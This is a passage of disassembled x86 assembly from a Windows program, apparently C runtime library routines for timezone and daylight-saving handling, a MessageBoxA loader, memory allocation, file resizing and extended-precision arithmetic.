		jz	loc_424A44
		mov	eax, dword_4E0D60
		mov	ecx, dword_4E0DB4
		imul	eax, 3Ch
		cmp	word_4E0DA6, bp
		push	1
		pop	edx
		mov	dword_442558, eax
		mov	dword_4E0D58, edx
		jz	short loc_424863
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_442558, eax

loc_424863:				; CODE XREF: sub_4247EC+69j
		cmp	word_4E0DFA, bp
		jz	short loc_424887
		mov	eax, dword_4E0E08
		cmp	eax, ebp
		jz	short loc_424887
		sub	eax, ecx
		mov	dword_44255C, edx
		imul	eax, 3Ch
		mov	dword_442560, eax
		jmp	short loc_424893
; ---------------------------------------------------------------------------

loc_424887:				; CODE XREF: sub_4247EC+7Ej
					; sub_4247EC+87j
		mov	dword_44255C, ebp
		mov	dword_442560, ebp

loc_424893:				; CODE XREF: sub_4247EC+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, dword_42717C
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	off_4425E4
		push	ebx
		push	offset dword_4E0D64
		push	edi
		push	dword_4E0BF4
		call	esi
		test	eax, eax
		jz	short loc_4248D0
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_4248D0
		mov	eax, off_4425E4
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_4248D8
; ---------------------------------------------------------------------------

loc_4248D0:				; CODE XREF: sub_4247EC+D1j
					; sub_4247EC+D7j
		mov	eax, off_4425E4
		and	byte ptr [eax],	0

loc_4248D8:				; CODE XREF: sub_4247EC+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	off_4425E8
		push	ebx
		push	offset dword_4E0DB8
		push	edi
		push	dword_4E0BF4
		call	esi
		test	eax, eax
		jz	loc_424A3C
		cmp	[esp+14h+var_4], ebp
		jnz	loc_424A3C
		mov	eax, off_4425E8
		and	byte ptr [eax+3Fh], 0
		jmp	loc_424A44
; ---------------------------------------------------------------------------

loc_424915:				; CODE XREF: sub_4247EC+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_424A44
		mov	eax, dword_4E0E0C
		cmp	eax, ebp
		jz	short loc_424938
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_424A44

loc_424938:				; CODE XREF: sub_4247EC+139j
		push	dword_4E0E0C
		call	sub_41B0B1
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41B4D5
		add	esp, 0Ch
		cmp	eax, ebp
		mov	dword_4E0E0C, eax
		jz	loc_424A44
		push	esi
		push	eax
		call	sub_41BEB0
		push	3
		push	esi
		push	off_4425E4
		call	sub_41B5F0
		mov	eax, off_4425E4
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_42498D
		push	1
		inc	esi
		pop	edi

loc_42498D:				; CODE XREF: sub_4247EC+19Bj
		push	esi
		call	sub_41B6EE
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_442558, ecx

loc_4249A4:				; CODE XREF: sub_4247EC+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_4249B2
		cmp	al, bl
		jl	short loc_4249B5
		cmp	al, 39h
		jg	short loc_4249B5

loc_4249B2:				; CODE XREF: sub_4247EC+1BCj
		inc	esi
		jmp	short loc_4249A4
; ---------------------------------------------------------------------------

loc_4249B5:				; CODE XREF: sub_4247EC+1C0j
					; sub_4247EC+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424A08
		inc	esi
		push	esi
		call	sub_41B6EE
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_442558
		add	ecx, eax
		mov	dword_442558, ecx

loc_4249D3:				; CODE XREF: sub_4247EC+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_4249E0
		cmp	al, 39h
		jg	short loc_4249E0
		inc	esi
		jmp	short loc_4249D3
; ---------------------------------------------------------------------------

loc_4249E0:				; CODE XREF: sub_4247EC+1EBj
					; sub_4247EC+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424A08
		inc	esi
		push	esi
		call	sub_41B6EE
		pop	ecx
		mov	ecx, dword_442558
		add	ecx, eax
		mov	dword_442558, ecx

loc_4249FB:				; CODE XREF: sub_4247EC+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_424A08
		cmp	al, 39h
		jg	short loc_424A08
		inc	esi
		jmp	short loc_4249FB
; ---------------------------------------------------------------------------

loc_424A08:				; CODE XREF: sub_4247EC+1CCj
					; sub_4247EC+1F7j ...
		cmp	edi, ebp
		jz	short loc_424A14
		neg	ecx
		mov	dword_442558, ecx

loc_424A14:				; CODE XREF: sub_4247EC+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	dword_44255C, eax
		jz	short loc_424A3C
		push	3
		push	esi
		push	off_4425E8
		call	sub_41B5F0
		mov	eax, off_4425E8
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_424A44
; ---------------------------------------------------------------------------

loc_424A3C:				; CODE XREF: sub_4247EC+10Bj
					; sub_4247EC+115j ...
		mov	eax, off_4425E8
		and	byte ptr [eax],	0

loc_424A44:				; CODE XREF: sub_4247EC+40j
					; sub_4247EC+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_4247EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424A4A	proc near		; CODE XREF: sub_422669+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_44255C, edi
		jnz	short loc_424A5E

loc_424A57:				; CODE XREF: sub_424A4A+148j
					; sub_424A4A+150j ...
		xor	eax, eax
		jmp	loc_424BAA
; ---------------------------------------------------------------------------

loc_424A5E:				; CODE XREF: sub_424A4A+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_4425F0
		jnz	short loc_424A7C
		cmp	eax, dword_442600
		jz	loc_424B7E

loc_424A7C:				; CODE XREF: sub_424A4A+24j
		cmp	dword_4E0D58, edi
		jz	loc_424B54
		movzx	ecx, word_4E0E06
		push	ecx
		cmp	word_4E0DF8, di
		movzx	ecx, word_4E0E04
		push	ecx
		movzx	ecx, word_4E0E02
		push	ecx
		movzx	ecx, word_4E0E00
		push	ecx
		jnz	short loc_424ACE
		movzx	ecx, word_4E0DFC
		push	edi
		push	ecx
		movzx	ecx, word_4E0DFE
		push	ecx
		movzx	ecx, word_4E0DFA
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_424AE2
; ---------------------------------------------------------------------------

loc_424ACE:				; CODE XREF: sub_424A4A+65j
		movzx	ecx, word_4E0DFE
		push	ecx
		push	edi
		movzx	ecx, word_4E0DFA
		push	edi
		push	ecx
		push	eax
		push	edi

loc_424AE2:				; CODE XREF: sub_424A4A+82j
		push	ebx
		call	sub_424BF6
		movzx	eax, word_4E0DB2
		add	esp, 2Ch
		cmp	word_4E0DA4, di
		push	eax
		movzx	eax, word_4E0DB0
		push	eax
		movzx	eax, word_4E0DAE
		push	eax
		movzx	eax, word_4E0DAC
		push	eax
		jnz	short loc_424B3C
		movzx	eax, word_4E0DA8
		push	edi
		push	eax
		movzx	eax, word_4E0DAA
		push	eax
		movzx	eax, word_4E0DA6
		push	eax
		push	dword ptr [esi+14h]
		push	ebx

loc_424B31:				; CODE XREF: sub_424A4A+108j
		push	edi
		call	sub_424BF6
		add	esp, 2Ch
		jmp	short loc_424B7E
; ---------------------------------------------------------------------------

loc_424B3C:				; CODE XREF: sub_424A4A+C8j
		movzx	eax, word_4E0DAA
		push	eax
		push	edi
		movzx	eax, word_4E0DA6
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_424B31
; ---------------------------------------------------------------------------

loc_424B54:				; CODE XREF: sub_424A4A+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_424BF6
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_424BF6
		add	esp, 58h

loc_424B7E:				; CODE XREF: sub_424A4A+2Cj
					; sub_424A4A+F0j
		mov	edx, dword_4425F4
		mov	eax, dword_442604
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_424BAE
		cmp	ecx, edx
		jl	loc_424A57
		cmp	ecx, eax
		jg	loc_424A57
		cmp	ecx, edx
		jle	short loc_424BC2
		cmp	ecx, eax
		jge	short loc_424BC2

loc_424BA8:				; CODE XREF: sub_424A4A+166j
					; sub_424A4A+16Aj
		mov	eax, ebx

loc_424BAA:				; CODE XREF: sub_424A4A+Fj
					; sub_424A4A+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_424BAE:				; CODE XREF: sub_424A4A+144j
		cmp	ecx, eax
		jl	short loc_424BA8
		cmp	ecx, edx
		jg	short loc_424BA8
		cmp	ecx, eax
		jle	short loc_424BC2
		cmp	ecx, edx
		jl	loc_424A57

loc_424BC2:				; CODE XREF: sub_424A4A+158j
					; sub_424A4A+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_424BE9
		xor	ecx, ecx
		cmp	eax, dword_4425F8
		setnl	cl

loc_424BE5:				; CODE XREF: sub_424A4A+1AAj
		mov	eax, ecx
		jmp	short loc_424BAA
; ---------------------------------------------------------------------------

loc_424BE9:				; CODE XREF: sub_424A4A+18Ej
		xor	ecx, ecx
		cmp	eax, dword_442608
		setl	cl
		jmp	short loc_424BE5
sub_424A4A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424BF6	proc near		; CODE XREF: sub_424A4A+99p
					; sub_424A4A+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_424C91
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_424C21
		shl	esi, 2
		mov	eax, dword_442608[esi]
		jmp	short loc_424C2A
; ---------------------------------------------------------------------------

loc_424C21:				; CODE XREF: sub_424BF6+1Ej
		shl	esi, 2
		mov	eax, dword_44263C[esi]

loc_424C2A:				; CODE XREF: sub_424BF6+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jg	short loc_424C64
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_424C6E
; ---------------------------------------------------------------------------

loc_424C64:				; CODE XREF: sub_424BF6+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax

loc_424C6E:				; CODE XREF: sub_424BF6+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_424CAC
		cmp	[ebp+arg_8], 0
		jnz	short loc_424C82
		mov	esi, dword_44260C[esi]
		jmp	short loc_424C88
; ---------------------------------------------------------------------------

loc_424C82:				; CODE XREF: sub_424BF6+82j
		mov	esi, dword_442640[esi]

loc_424C88:				; CODE XREF: sub_424BF6+8Aj
		cmp	ecx, esi
		jle	short loc_424CAC
		sub	ecx, 7
		jmp	short loc_424CAC
; ---------------------------------------------------------------------------

loc_424C91:				; CODE XREF: sub_424BF6+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_424CA2
		mov	ecx, dword_442608[eax*4]
		jmp	short loc_424CA9
; ---------------------------------------------------------------------------

loc_424CA2:				; CODE XREF: sub_424BF6+A1j
		mov	ecx, dword_44263C[eax*4]

loc_424CA9:				; CODE XREF: sub_424BF6+AAj
		add	ecx, [ebp+arg_18]

loc_424CAC:				; CODE XREF: sub_424BF6+7Cj
					; sub_424BF6+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_424CDD
		mov	eax, [ebp+arg_1C]
		mov	dword_4425F4, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_4425F0, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_4425F8, eax
		jmp	short loc_424D32
; ---------------------------------------------------------------------------

loc_424CDD:				; CODE XREF: sub_424BF6+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_442604, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_442560
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_442608, eax
		jns	short loc_424D15
		add	eax, 5265C00h
		dec	ecx
		mov	dword_442608, eax
		jmp	short loc_424D26
; ---------------------------------------------------------------------------

loc_424D15:				; CODE XREF: sub_424BF6+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_424D2C
		sub	eax, edx
		inc	ecx
		mov	dword_442608, eax

loc_424D26:				; CODE XREF: sub_424BF6+11Dj
		mov	dword_442604, ecx

loc_424D2C:				; CODE XREF: sub_424BF6+126j
		mov	dword_442600, ebx

loc_424D32:				; CODE XREF: sub_424BF6+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424BF6	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D36	proc near		; CODE XREF: ___:00422E9Dp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_424D47
		add	esp, 0Ch
		retn
sub_424D36	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D47	proc near		; CODE XREF: sub_424D36+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_4E20A1[eax], cl
		jnz	short loc_424D74
		cmp	[esp+arg_4], 0
		jz	short loc_424D6D
		movzx	eax, word_441BB2[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_424D6F
; ---------------------------------------------------------------------------

loc_424D6D:				; CODE XREF: sub_424D47+16j
		xor	eax, eax

loc_424D6F:				; CODE XREF: sub_424D47+24j
		test	eax, eax
		jnz	short loc_424D74
		retn
; ---------------------------------------------------------------------------

loc_424D74:				; CODE XREF: sub_424D47+Fj
					; sub_424D47+2Aj
		push	1
		pop	eax
		retn
sub_424D47	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D78	proc near		; CODE XREF: sub_4235C9+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_4E0E14, ebx
		push	esi
		push	edi
		jnz	short loc_424DC7
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 26A0C56h
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_424DFD
		mov	esi, dword_4270BC
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi
		test	eax, eax
		mov	dword_4E0E14, eax
		jz	short loc_424DFD
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_4E0E18, eax
		call	esi
		mov	dword_4E0E1C, eax

loc_424DC7:				; CODE XREF: sub_424D78+Bj
		mov	eax, dword_4E0E18
		test	eax, eax
		jz	short loc_424DE6
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_424DE6
		mov	eax, dword_4E0E1C
		test	eax, eax
		jz	short loc_424DE6
		push	ebx
		call	eax
		mov	ebx, eax

loc_424DE6:				; CODE XREF: sub_424D78+56j
					; sub_424D78+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_4E0E14

loc_424DF9:				; CODE XREF: sub_424D78+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_424DFD:				; CODE XREF: sub_424D78+1Cj
					; sub_424D78+33j
		xor	eax, eax
		jmp	short loc_424DF9
sub_424D78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424E01	proc near		; CODE XREF: sub_423936+22p
					; sub_423936+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_424E22
		test	esi, esi
		jnz	short loc_424E1C
		push	1
		pop	esi

loc_424E1C:				; CODE XREF: sub_424E01+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h

loc_424E22:				; CODE XREF: sub_424E01+12j
					; sub_424E01+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_424E81
		mov	eax, dword_4E21C8
		cmp	eax, 3
		jnz	short loc_424E4D
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4E21C0
		ja	short loc_424E6C
		push	eax
		call	sub_41E1CB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_424E97
		jmp	short loc_424E6C
; ---------------------------------------------------------------------------

loc_424E4D:				; CODE XREF: sub_424E01+30j
		cmp	eax, 2
		jnz	short loc_424E6C
		cmp	esi, dword_441BA4
		ja	short loc_424E6C
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41EC6E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_424EAB

loc_424E6C:				; CODE XREF: sub_424E01+3Bj
					; sub_424E01+4Aj ...
		push	esi
		push	8
		push	dword_4E21C4
		nop
		call	near ptr 27C0000h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_424EA5

loc_424E81:				; CODE XREF: sub_424E01+26j
		cmp	dword_4E0BAC, 0
		jz	short loc_424EA5
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jz	short loc_424EAE
		jmp	short loc_424E22
; ---------------------------------------------------------------------------

loc_424E97:				; CODE XREF: sub_424E01+48j
		push	[ebp+arg_0]

loc_424E9A:				; CODE XREF: sub_424E01+ABj
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch

loc_424EA5:				; CODE XREF: sub_424E01+7Ej
					; sub_424E01+87j
		mov	eax, edi

loc_424EA7:				; CODE XREF: sub_424E01+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_424EAB:				; CODE XREF: sub_424E01+69j
		push	esi
		jmp	short loc_424E9A
; ---------------------------------------------------------------------------

loc_424EAE:				; CODE XREF: sub_424E01+92j
		xor	eax, eax
		jmp	short loc_424EA7
sub_424E01	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4239DB

loc_424EB2:				; CODE XREF: sub_4239DB+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_4E1E60, esi
		jle	short loc_424F05

loc_424EC1:				; CODE XREF: sub_4239DB+1528j
		mov	eax, dword_4E0E48
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_424EFC
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_424EE0
		push	eax
		call	sub_41B05B
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_424EE0
		inc	edi

loc_424EE0:				; CODE XREF: sub_4239DB+14F6j
					; sub_4239DB+1502j
		cmp	esi, 14h
		jl	short loc_424EFC
		mov	eax, dword_4E0E48
		push	dword ptr [eax+esi*4]
		call	sub_41B0B1
		mov	eax, dword_4E0E48
		pop	ecx
		and	dword ptr [eax+esi*4], 0

loc_424EFC:				; CODE XREF: sub_4239DB+14F0j
					; sub_4239DB+1508j
		inc	esi
		cmp	esi, dword_4E1E60
		jl	short loc_424EC1

loc_424F05:				; CODE XREF: sub_4239DB+14E4j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_4239DB

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424F0A	proc near		; CODE XREF: sub_423A33+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41BB20
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_4E1F80
		jnb	loc_42503F
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4E1E80[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_42503F
		push	1
		push	esi
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_425049
		push	2
		push	esi
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_425049
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_424FEC
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_41B590
		push	8000h
		push	ebx
		call	sub_425B44
		add	esp, 14h
		mov	[ebp+arg_4], eax

loc_424FA0:				; CODE XREF: sub_424F0A+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_424FAB
		mov	eax, edi

loc_424FAB:				; CODE XREF: sub_424F0A+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_424FC9
		sub	edi, eax
		test	edi, edi
		jle	short loc_424FDF
		jmp	short loc_424FA0
; ---------------------------------------------------------------------------

loc_424FC9:				; CODE XREF: sub_424F0A+B5j
		cmp	dword_4E0B2C, 5
		jnz	short loc_424FDC
		mov	dword_4E0B28, 0Dh

loc_424FDC:				; CODE XREF: sub_424F0A+C6j
		or	esi, 0FFFFFFFFh

loc_424FDF:				; CODE XREF: sub_424F0A+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_425B44
		pop	ecx
		pop	ecx
		jmp	short loc_42502C
; ---------------------------------------------------------------------------

loc_424FEC:				; CODE XREF: sub_424F0A+71j
		jge	short loc_42502C
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_42272B
		push	ebx
		call	sub_4238A2
		add	esp, 10h
		push	eax
		nop
		call	near ptr 2600000h
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42502C
		mov	dword_4E0B28, 0Dh
		call	near ptr 268086Bh
		nop
		mov	dword_4E0B2C, eax

loc_42502C:				; CODE XREF: sub_424F0A+E0j
					; sub_424F0A:loc_424FECj ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_42504C
; ---------------------------------------------------------------------------

loc_42503F:				; CODE XREF: sub_424F0A+1Aj
					; sub_424F0A+36j
		mov	dword_4E0B28, 9

loc_425049:				; CODE XREF: sub_424F0A+4Ej
					; sub_424F0A+63j
		or	eax, 0FFFFFFFFh

loc_42504C:				; CODE XREF: sub_424F0A+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_424F0A	endp


; =============== S U B	R O U T	I N E =======================================



sub_425050	proc near		; CODE XREF: sub_4241CF+2Bp
					; sub_4241CF+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_425066
		cmp	ecx, esi
		jnb	short loc_425069

loc_425066:				; CODE XREF: sub_425050+10j
		push	1
		pop	eax

loc_425069:				; CODE XREF: sub_425050+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_425050	endp


; =============== S U B	R O U T	I N E =======================================



sub_425071	proc near		; CODE XREF: sub_42512A+40p
					; sub_42512A+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250A3
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250A3
		inc	dword ptr [esi+8]

loc_4250A3:				; CODE XREF: sub_425071+19j
					; sub_425071+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250BB
		inc	dword ptr [esi+8]

loc_4250BB:				; CODE XREF: sub_425071+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_425071	endp


; =============== S U B	R O U T	I N E =======================================



sub_4250CF	proc near		; CODE XREF: sub_42512A+30p
					; sub_42512A+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_4250CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4250FD	proc near		; CODE XREF: sub_4256C2+1C8p
					; sub_425BBA+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_4250FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42512A	proc near		; CODE XREF: sub_4251F1+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_42519E
		push	edi
		mov	[ebp+arg_8], eax

loc_425151:				; CODE XREF: sub_42512A+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_4250CF
		push	ebx
		call	sub_4250CF
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425071
		push	ebx
		call	sub_4250CF
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425071
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_425151
		xor	edx, edx
		pop	edi

loc_42519E:				; CODE XREF: sub_42512A+21j
					; sub_42512A+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_4251CB
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_42519E
; ---------------------------------------------------------------------------

loc_4251CB:				; CODE XREF: sub_42512A+77j
		mov	esi, 8000h

loc_4251D0:				; CODE XREF: sub_42512A+B9j
		test	[ebx+8], esi
		jnz	short loc_4251E5
		push	ebx
		call	sub_4250CF
		add	[ebp+var_4], 0FFFFh
		pop	ecx
